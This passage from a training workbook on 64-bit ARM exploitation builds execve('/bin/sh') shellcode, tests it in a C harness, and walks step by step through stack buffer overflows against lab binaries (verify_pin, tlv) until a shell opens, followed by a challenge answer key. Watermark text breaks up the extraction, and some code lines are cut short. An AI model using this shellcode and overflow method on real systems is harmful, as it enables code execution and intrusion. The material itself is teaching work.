© Hungry Hackers, LLC 169


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


sp 0xfffffffff310 0xfffffffff310
pc 0xaaaaaaaaa9d4 0xaaaaaaaaa9d4 <main+208>
cpsr 0x60001000 [ EL=0 SSBS C Z ]
fpsr 0x0 0

09b91222e5d2d3d668cf8e52ec5d35ba
fpcr
vg
pauth_dmask
0x0
0x8
0x7f000000000000
0
8
35747322042253312
pauth_cmask 0x7f000000000000 35747322042253312
(gdb)

Here we see the expected values in x0-x7. Like before, we can also look at them in the context of 32-bit.

x0
x1
micede1865@wii999_com
(gdb) i r $x0 $x1 $x2 $x3 $x4 $x5 $x6 $x7
0x1
0x2
1
2
x2 0x3 3
x3 0x4 4
x4 0x5 5
x5 0x6 6
x6 0x7 7
x7 0x8 8
(gdb) i r $w0 $w1 $w2 $w3 $w4 $w5 $w6 $w7
w0 0x1 1
24356915
w1 0x2 2
w2 0x3 3
w3 0x4 4
w4 0x5 5
w5 0x6 6
w6
w7
0x7
0x8
7
8
Paul Erwin
There were 8 parameters passed to adder and we can see the final value (which was 0) on the top of the stack.

(gdb) x/1wx $sp


0xfffffffff310: 0x00000000

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Shellcode

Since the assembly for aarch64 is different from 32-bit ARM, the shellcode looks different as well. However, many of the
underlying concepts are the same. For example, to get a shell using execve, we have the same objective:

• Load up the parameters for execve("/bin/sh", null, null)

• Load the syscall id into x8 live


• In 32-bit ARM, we loaded it into r7

• In 32-bit ARM, the syscall id for execve was 11. In 64-bit it is 221.

• Invoke a supervisor call with the svc instruction

170 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Th shellcode below was taken from https://www.exploit-db.com/exploits/47048 and the original author was Ken Kitahara.

nemo@tiger:~$ cd labs64/shellcode/asm
nemo@tiger:~/labs64/shellcode/asm$

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/shellcode/asm$ cat execve.s
//Original shellcode available here: https://www.exploit-db.com/exploits/47048
//Author: Ken Kitahara

.section .text
.global _start
_start:

micede1865@wii999_com
// execve("/bin/sh", NULL, NULL)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
// x1 = 0x000000000000622F ("b/")
// x1 = 0x000000006E69622F ("nib/")
movk x1, #0x732F, lsl #32 // x1 = 0x0000732F6E69622F ("s/nib/")
movk x1, #0x68, lsl #48 // x1 = 0x0068732F6E69622F ("hs/nib/")
str x1, [sp, #-8]! // push x1
mov x1, xzr // args[1] = NULL
mov x2, xzr // args[2] = NULL
add x0, sp, x1
mov x8, #221
svc #0x1337
24356915
// args[0] = pointer to "/bin/sh\0"
// Systemcall Number = 221 (execve)
// Invoke Systemcall

Assembling and testing shellcode

We can assemble and test shellcode the same way we did in 32-bit ARM.

Paul Erwin
nemo@tiger:~/labs64/shellcode/asm$ as -o execve.o execve.s
nemo@tiger:~/labs64/shellcode/asm$ objdump -d execve.o

execve.o: file format elf64-littleaarch64

Disassembly of section .text:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0000000000000000 <_start>:
0: d28c45e1 mov x1, #0x622f // #25135
4: f2adcd21 movk x1, #0x6e69, lsl #16
8: f2ce65e1 movk x1, #0x732f, lsl #32
c: f2e00d01 movk x1, #0x68, lsl #48
10: f81f8fe1 str x1, [sp, #-8]!
14: aa1f03e1 mov x1, xzr
18:
1c:
20:
aa1f03e2
8b2163e0
d2801ba8
mov x2, xzr
add x0, sp, x1
mov x8, #0xdd
live // #221
24: d40266e1 svc #0x1337

By running objdump -d on the .o file, we can verify that there are no null (0x00) bytes in the object code.

Next, we can link it and try running it.

© Hungry Hackers, LLC 171


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@tiger:~/labs64/shellcode/asm$ ld -N -o execve execve.o

nemo@tiger:~/labs64/shellcode/asm$ ./execve
$

09b91222e5d2d3d668cf8e52ec5d35ba
The shellcode works!

We also want to be able to extract the bytes so that we can paste them directly into our exploit. We do this with the
objcopy command. This extracts the bytes making up the instructions and is all that we need to run the code. We can view
this with the xxd command.

micede1865@wii999_com
nemo@tiger:~/labs64/shellcode/asm$ objcopy -O binary execve.o execve.bin

nemo@tiger:~/labs64/shellcode/asm$ xxd -ps execve.bin


e1458cd221cdadf2e165cef2010de0f2e18f1ff8e1031faae2031faae063
218ba81b80d2e16602d4

To format these bytes the way we need them for python, we can link together a few commands.

24356915
nemo@tiger:~/labs64/shellcode/asm$ xxd -ps execve.bin | tr -d '\n' | sed 's/../\\x&/g'

\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa

The shellcode is now ready to be copied and pasted into a python exploit.

Testing shellcode in a C program


Paul Erwin
We can also test shellcode by pasting it into a C program. In the ~/labs64/shellcode/c folder, there is a test harness
that is the same code as we used in 32-bit and works the same way.

nemo@tiger:~/labs64/shellcode/asm$ cd ../c
nemo@tiger:~/labs64/shellcode/c$

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~/labs64/shellcode/c$ cat execute_shellcode.c
#include <stdio.h>
#include <string.h>

// Replace shellcode for testing


unsigned char shellcode[] = {

};
PASTE SHELLCODE HERE.
live
void main(void)
{
// Print the length of the shellcode to the screen
fprintf(stdout, "Length: %d\n", strlen(shellcode));

172 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


// Declare shellcode as a function
void (*shellcode_func)() = (void(*)())shellcode;

09b91222e5d2d3d668cf8e52ec5d35ba
}
// Call the shellcode function
shellcode_func();

After objcopy has been ran and a .bin file has been created, we can use the -i parameter in xxd to format the bytes so that
we can copy and paste them into the shellcode[] variable.

micede1865@wii999_com
nemo@tiger:~/labs64/shellcode/c$ xxd -i ../asm/execve.bin
unsigned char ___asm_execve_bin[] = {
0xe1, 0x45, 0x8c, 0xd2, 0x21, 0xcd, 0xad, 0xf2, 0xe1, 0x65, 0xce, 0xf2,
0x01, 0x0d, 0xe0, 0xf2, 0xe1, 0x8f, 0x1f, 0xf8, 0xe1, 0x03, 0x1f, 0xaa,
0xe2, 0x03, 0x1f, 0xaa, 0xe0, 0x63, 0x21, 0x8b, 0xa8, 0x1b, 0x80, 0xd2,
0xe1, 0x66, 0x02, 0xd4
};
unsigned int ___asm_execve_bin_len = 40;

24356915
We only need to copy the bytes within the braces {} and paste that into our C program. If you want to preserve the original
file, make a copy of the .c file to edit and compile.

nemo@tiger:~/labs64/shellcode/c$ cp execute_shellcode.c execute_shellcode_execve.c

Now, edit the execute_shellcode_execve.c file and paste in the bytes. Once you have done this, your file should look like
this.
Paul Erwin
nemo@tiger:~/labs64/shellcode/c$ cat execute_shellcode_execve.c
#include <stdio.h>
#include <string.h>

// Replace shellcode for testing


unsigned char shellcode[] = {

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xe1, 0x45, 0x8c, 0xd2, 0x21, 0xcd, 0xad, 0xf2, 0xe1, 0x65, 0xce, 0xf2,
0x01, 0x0d, 0xe0, 0xf2, 0xe1, 0x8f, 0x1f, 0xf8, 0xe1, 0x03, 0x1f, 0xaa,
0xe2, 0x03, 0x1f, 0xaa, 0xe0, 0x63, 0x21, 0x8b, 0xa8, 0x1b, 0x80, 0xd2,
0xe1, 0x66, 0x02, 0xd4
};

void main(void)
{
// Print the length of the shellcode to the screenlive
fprintf(stdout, "Length: %d\n", strlen(shellcode));

// Declare shellcode as a function


void (*shellcode_func)() = (void(*)())shellcode;

// Call the shellcode function

© Hungry Hackers, LLC 173


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


shellcode_func();
}

Compile and execute the C program. Make sure to use the -z execstack -fno-stack-protector parameters.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/shellcode/c$ gcc -z execstack -fno-stack-protector -o execute_shellcode_execve
execute_shellcode_execve.c
execute_shellcode_execve.c: In function ‘main’:
execute_shellcode_execve.c:16:31: warning: format ‘%d’ expects argument of type ‘int’, but argument 3
has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
16 | fprintf(stdout, "Length: %d\n", strlen(shellcode));
| ~^ ~~~~~~~~~~~~~~~~~
|
|
|
micede1865@wii999_com |
int
%ld
|
size_t {aka long unsigned int}

nemo@tiger:~/labs64/shellcode/c$ ./execute_shellcode_execve
Length: 40
$

24356915
The test harness works and our shellcode executed successfully!

Exploiting verify_pin

The same source code is used for verify_pin as was used in the 32-bit lab. A buffer overflow occurs when the first

Paul Erwin
parameter of command line input is copied into a fixed size buffer (pin_buffer[20]).

You can view the source code in ~/labs64/verify_pin/src .

The source code has been recompiled into a 64-bit ARM binary.

nemo@tiger:~$ cd labs64/verify_pin/

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~/labs64/verify_pin$ file verify_pin
verify_pin: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked,
BuildID[sha1]=31b0d41a9f19b1aa26a674ddffab396fbed13373, for GNU/Linux 3.7.0, not stripped

Open up verify_pin in gdb and lets see how we can leverage the overflow.

nemo@tiger:~/labs64/verify_pin$ gdb verify_pin


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc. live
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.

174 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

09b91222e5d2d3d668cf8e52ec5d35ba
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from verify_pin...
(No debugging symbols found in verify_pin)
(gdb)

 Try it.
micede1865@wii999_com
(Optional) Without looking ahead, try to gain control of execution and redirect to the "Door unlocked!" message.

We can crash the program with the following input.

(gdb) run $(python2 -c 'print "A"*32 + "BBBBBBBB"')

24356915
Starting program: /home/nemo/labs64/verify_pin/verify_pin $(python2 -c 'print "A"*32 + "BBBBBBBB"')

You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB


The door is locked. Try again

Program received signal SIGSEGV, Segmentation fault.


0x0042424242424242 in ?? ()
(gdb)
Paul Erwin
Now, we have control of execution and are overflowing with B's. Now, we need to decide where to redirect execution to
show print unlocked message.

Let's look at the main function in the disassembler.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400750 <+0>: stp x29, x30, [sp, #-48]!
0x0000000000400754 <+4>: mov x29, sp
0x0000000000400758 <+8>: str w0, [sp, #28]
0x000000000040075c <+12>: str x1, [sp, #16]
0x0000000000400760 <+16>: mov w0, #0x1 // #1
0x0000000000400764 <+20>: strb w0, [sp, #47]
0x0000000000400768 <+24>: ldr x0, [sp, #16]
0x000000000040076c <+28>:
0x0000000000400770 <+32>:
0x0000000000400774 <+36>:
add x0, x0, #0x8
ldr x0, [x0]
bl 0x4006ac <verify_pin>
live
0x0000000000400778 <+40>: strb w0, [sp, #47]
0x000000000040077c <+44>: ldrb w0, [sp, #47]
0x0000000000400780 <+48>: cmp w0, #0x0
0x0000000000400784 <+52>: b.eq 0x400798 <main+72> // b.none
0x0000000000400788 <+56>: adrp x0, 0x452000 <_nl_finddomain_subfreeres+40>

© Hungry Hackers, LLC 175


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x000000000040078c <+60>: add x0, x0, #0xaf8
0x0000000000400790 <+64>: bl 0x40d380 <puts>
0x0000000000400794 <+68>: b 0x4007ac <main+92>
0x0000000000400798 <+72>: adrp x0, 0x452000 <_nl_finddomain_subfreeres+40>

09b91222e5d2d3d668cf8e52ec5d35ba
0x000000000040079c
0x00000000004007a0
0x00000000004007a4
<+76>:
<+80>:
<+84>:
add x0, x0, #0xb18
bl 0x40d380 <puts>
mov w0, #0x0 // #0
0x00000000004007a8 <+88>: bl 0x406228 <exit>
0x00000000004007ac <+92>: mov w0, #0x0 // #0
0x00000000004007b0 <+96>: ldp x29, x30, [sp], #48
0x00000000004007b4 <+100>: ret

micede1865@wii999_com
We see a couple of calls to the puts function which will print text to the screen. It looks like the input to each of those
functions is a value added to 0x452000.

0x0000000000400788 <+56>: adrp x0, 0x452000 <_nl_finddomain_subfreeres+40>


0x000000000040078c <+60>: add x0, x0, #0xaf8
0x0000000000400790 <+64>: bl 0x40d380 <puts>

0x0000000000400798 <+72>:
0x000000000040079c <+76>:
0x00000000004007a0 <+80>:
adrp
add
bl
24356915
x0, 0x452000 <_nl_finddomain_subfreeres+40>
x0, x0, #0xb18
0x40d380 <puts>

Let's combine these values and get the input for the puts function.

• 0x452000 + 0xaf8 = 0x452af8

• 0x452000 + 0xb18 = 0x452b18


Paul Erwin
We can examine this memory as strings.

(gdb) x/s 0x452af8


0x452af8: "The door is locked. Try again\n"
(gdb) x/s 0x452b18

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x452b18: "Door unlocked!!!\n"

Based on the reference to the string we want to display (0x452b18), we want to jump to the address where it starts to get
loaded:

0x0000000000400798 <+72>: adrp x0, 0x452000 <_nl_finddomain_subfreeres+40>


0x000000000040079c <+76>: add x0, x0, #0xb18
0x00000000004007a0 <+80>: bl

live
0x40d380 <puts>

Our target address is 0x0000000000400798. This is where we want to redirect execution to.

176 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


There are a lot of nulls in this address, but since it is little endian, we can do this. The order will be reversed to
"\x98\x07\x40\x00\x00\x00\x00\x00". Any null bytes at the end will be chopped off when the string is read in from the
command, so we don't need to include them in our input. That makes our destination address look like this

09b91222e5d2d3d668cf8e52ec5d35ba
"\x98\x07\x40". Let's give this a try.

(gdb) run $(python2 -c 'print "A"*32 + "\x98\x07\x40"')


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs64/verify_pin/verify_pin $(python2 -c 'print "A"*32 + "\x98\x07\x40"')

You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@

micede1865@wii999_com
The door is locked. Try again

Door unlocked!!!

[Inferior 1 (process 1538) exited normally]


(gdb)

Success!

Exploiting tlv - type 0x65 - (memcpy)


24356915
The source code for tlv is the same as in the 32-bit lab. The vulnerable function we are targeting is process_tlv in tlv.c

nemo@tiger:~$ cd labs64/tlv
nemo@tiger:~/labs64/tlv$ cat src/tlv.c
#include <stdio.h>
#include <stdbool.h>
Paul Erwin
#include <string.h>
#include <stdlib.h>

void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
unsigned char buf[100];
char *c1;
char *c2;

printf("[+] Processing 0x%x type\n", type);

switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
live
return;
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';

© Hungry Hackers, LLC 177


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");

09b91222e5d2d3d668cf8e52ec5d35ba sscanf(value, "%c%c%s", &c1, &c2, buf);


return;
default:
printf("Invalid type. Try again.\n");
return;
}
}
...

micede1865@wii999_com
To target case 0x65, the first byte needs to be 0x65 and the second byte will be used as the length. The length has to be
greater than 100 to overflow the buf[100] stack variable. The length doesn't have to be precise, if we can get enough to
overflow the buffer, that will be enough to gain control of execution.

Open up tlv in gdb.

nemo@tiger:~/labs64/tlv$ gdb tlv


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.224356915
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.

Paul Erwin
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from tlv...

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(No debugging symbols found in tlv)
(gdb)

The following input will give us control of the saved return address.

(gdb) run $(python2 -c 'print "\x65\xff" + "A"*112 + "BBBBBBBB"')


Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" + "A"*112 + "BBBBBBBB"')
[+] Processing 0x65 type
[-] Performing memcpy
Value:
live
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.


0x0042424242424242 in ?? ()
(gdb)

178 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The 0x65 byte in the beginning got us to the right case and the length of 0xff copied in enough of the remaining bytes to
overflow the buffer and gain control of execution.

Now that we have the alignment right, let's paste in some shellcode. We will use the execve shellcode we looked at earlier
09b91222e5d2d3d668cf8e52ec5d35ba
in this lab.

\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa

 Try it!

micede1865@wii999_com
(optional) Without looking ahead, try to exploit the 0x65 case of the tlv program on your own.

This shellcode is 40 bytes, so if we do the math, we subtract 40 from our 112 A's to get the same size buffer.

• 112 (A's currently) - 40 (shellcode) = 72 (A's needed with the shellcode)

Let's paste the shellcode at the beginning of our buffer, just past the 0x65 type and the 0xff length.

(gdb) run $(python2 -c 'print "\x65\xff" +


24356915
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
[+] Processing 0x65 type
[-] Performing memcpy
Paul Erwin
���������c!����f�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

Program received signal SIGSEGV, Segmentation fault.


0x0042424242424242 in ?? ()
(gdb)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The alignment is still good with the shellcode, now we need to know where it is on the stack. If we look at the
disassembled process_tlv function, we find the following instructions.

(gdb) disas process_tlv


...
0x00000000004006f0 <+68>: cmp w0, #0x65
0x00000000004006f4 <+72>: b.eq 0x400730 <process_tlv+132> // b.none
...

live
This is doing a comparison to 0x65 and then jumping to 0x400730. This is where the first byte is checked and the case
statement is happening.

If we look at 0x400730, we see the following assembly instructions.

© Hungry Hackers, LLC 179


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x0000000000400730 <+132>: adrp x0, 0x462000 <_nl_locale_subfreeres+192>
0x0000000000400734 <+136>: add x0, x0, #0x5b0
0x0000000000400738 <+140>: bl 0x4135b8 <puts>
0x000000000040073c <+144>: ldr x0, [sp, #16]

09b91222e5d2d3d668cf8e52ec5d35ba
0x0000000000400740
0x0000000000400744
0x0000000000400748
<+148>:
<+152>:
<+156>:
add x1, x0, #0x2
ldrb w2, [sp, #30]
add x0, sp, #0x38
0x000000000040074c <+160>: bl 0x4002b0
0x0000000000400750 <+164>: ldrb w0, [sp, #30]

Here something is being printed to the screen and then there is a call to 0x4002b0. The behavior we see in the assembly
roughly matches the first two lines of the case statement in C.
micede1865@wii999_com
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);

It is a good assumption that the branch and link to 0x4002b0 is the memcpy. Let's put a breakpoint after that bl instruction
to see the overflow on the stack.

 Note
24356915
The fact that bl 0x4002b0 leads to a memcpy is provided in the lab since it is difficult to identify this in gdb. Identifying this
location for a breakpoint is easier in programs like Ghidra, IDA Pro or Radare2.

(gdb) b *0x0000000000400750
Breakpoint 1 at 0x400750
Paul Erwin
Now try running the exploit again, but this time examine the stack at the breakpoint following the memcpy and look for
our shellcode.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) run $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "BBBBBBBB"')
[+] Processing 0x65 type
[-] Performing memcpy

Breakpoint 1, 0x0000000000400750 in process_tlv ()


live
(gdb)

Now, let's take a look at the stack. We know that our aligment is good and that the saved return address will be
0x4242424242424242.

180 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Use the 'g' format specifier with the x command to view 64-bit values.

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/30gx $sp
0xfffffffff220: 0x0000fffffffff2c0 0x0000000000400808
0xfffffffff230: 0x0000fffffffff6e3 0x65fffffffffff468
0xfffffffff240: 0x0000fffffffff480 0x0000000000400280
0xfffffffff250: 0x000000000049ca80 0xf2adcd21d28c45e1
0xfffffffff260: 0xf2e00d01f2ce65e1 0xaa1f03e1f81f8fe1
0xfffffffff270: 0x8b2163e0aa1f03e2 0xd40266e1d2801ba8

micede1865@wii999_com
0xfffffffff280: 0x4141414141414141
0xfffffffff290: 0x4141414141414141
0xfffffffff2a0: 0x4141414141414141
0x4141414141414141
0x4141414141414141
0x4141414141414141
0xfffffffff2b0: 0x4141414141414141 0x4141414141414141
0xfffffffff2c0: 0x4141414141414141 0x4242424242424242
0xfffffffff2d0: 0x2f3d4c4c45485300 0x687361622f6e6962

24356915
Remember that our shellcode will be in reverse byte order due to it being in little endian. So we should see d28c45e1
somewhere since these are the first few bytes of our shellcode.

And we see it here in this line.

0xfffffffff250: 0x000000000049ca80 0xf2adcd21d28c45e1

 Warning
Paul Erwin
Your addresses may be different. You will need to make sure to use the address where your shellcode is found.

We will add 8 to 0xfffffffff250 in order to get past the first set of bytes which is not part of our shellcode. If we examine
the bytes at this location, we will see that they make up the shellcode from our exploit buffer.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/40bx 0xfffffffff258
0xfffffffff258: 0xe1 0x45 0x8c 0xd2 0x21 0xcd 0xad 0xf2
0xfffffffff260: 0xe1 0x65 0xce 0xf2 0x01 0x0d 0xe0 0xf2
0xfffffffff268: 0xe1 0x8f 0x1f 0xf8 0xe1 0x03 0x1f 0xaa
0xfffffffff270: 0xe2 0x03 0x1f 0xaa 0xe0 0x63 0x21 0x8b
0xfffffffff278: 0xa8 0x1b 0x80 0xd2 0xe1 0x66 0x02 0xd4

 Warning live
If your shellcode was found at a different address, you need to use that address to complete the exploit. For example, if your
shellcode starts at 0xfffffffff268, you would use the command: x/10i 0xfffffffff268 .

© Hungry Hackers, LLC 181


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We should be able to view these bytes as instructions as well.

(gdb) x/10i 0xfffffffff258


0xfffffffff258: mov x1, #0x622f // #25135

09b91222e5d2d3d668cf8e52ec5d35ba
0xfffffffff25c: movk
0xfffffffff260: movk
0xfffffffff264: movk
x1, #0x6e69, lsl #16
x1, #0x732f, lsl #32
x1, #0x68, lsl #48
0xfffffffff268: str x1, [sp, #-8]!
0xfffffffff26c: mov x1, xzr
0xfffffffff270: mov x2, xzr
0xfffffffff274: add x0, sp, x1
0xfffffffff278: mov x8, #0xdd // #221

micede1865@wii999_com
0xfffffffff27c: svc #0x1337

That's our shellcode alright. Now we just need to redirect execution there. Replace the B's with the address of our
shellcode.

 Note

24356915
Be careful, the address we want to jump to is 0xfffffffff258 (9 f's) and not 0xfffffffffffff258 (13 f's). It's a subtle difference.

We need to write this in reverse order and it will not use the full width of the address space, but that's ok. Since the system
is little endian and 0's will be appended to our input buffer.

When we put the address of the shellcode in reverse order, it looks like this.

\x58\xf2\xff\xff\xff\xff Paul Erwin


Before running the exploit, delete any breakpoints as they will show as errors or warnings when we execute the shell.

(gdb) del
Delete all breakpoints? (y or n) y

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Our exploit will consist of:

• The type: 0x65 (1 byte)

• The length of the copy, based on the source code: 0xff (1 byte)

• Our shellcode: (40 bytes)

• Padding to overflow the buffer: ("A"*72)


live
• The address used to overwrite the saved LR and redirect execution to our shellcode.

type + length to copy + shellcode + padding + shellcode_address

Now, let's plug in each of these and try our exploit.

182 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Warning

Be sure to use the correct shellcode address in the exploit if yours differs from the example provided (0xfffffffff258).

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) run $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa
+ "A"*72 + "\x58\xf2\xff\xff\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nemo/labs64/tlv/tlv $(python2 -c 'print "\x65\xff" +
"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xa

micede1865@wii999_com
+ "A"*72 + "\x58\xf2\xff\xff\xff\xff"')
[+] Processing 0x65 type
[-] Performing memcpy
���������c!����f�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX�����
process 1820 is executing new program: /usr/bin/dash
$

We got a shell!!! Success!!!


24356915
Summary

In this lab we looked at 64-bit ARM also known as aarch64. While there are many differences, we also see that many of
the fundamental concepts are the same.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 183


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Challenge Answer Key

09b91222e5d2d3d668cf8e52ec5d35ba
Stack Overflow Challenge

The stack is executable in verify_pin. Instead of jumping to the success message, try to deliver the shellcode below
(provided as a python string) and jump to it. If you successfully execute the shellcode, you should get a shell ($). Do all of
this in the debugger.

Hints:
micede1865@wii999_com
• Shellcode to paste into the input buffer:

"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69

• Breakpoint following the memcpy to observe the stack buffer: 0x104b8

Begin:
24356915
Review the instructions that make up the provided shellcode. If successfully executed, this will create a shell prompt ($).

nemo@mako:~/labs/shellcode/asm$ objdump -d execve.o

execve.o: file format elf32-littlearm

Disassembly of section .text:


Paul Erwin
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
a:
c:
e:
300c
46c0
9001
adds
nop
str r0,
r0, #12
; (mov r8, r8)
[sp, #4]
10: 1a49 subs r1, r1, r1
12: 1a92 subs r2, r2, r2
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c:
1e:
732f
0068
strb
lsls
r7, [r5, #12]
r0, r5, #1 live
Shellcode has been provided for this challenge, but this is how we would extract it from a .bin file.

nemo@mako:~/labs/shellcode/asm$ xxd -ps execve.bin | tr -d '\n' | sed 's/../\\x&/g'


\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e

184 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debug verify_pin and set a breakpoint after the memcpy

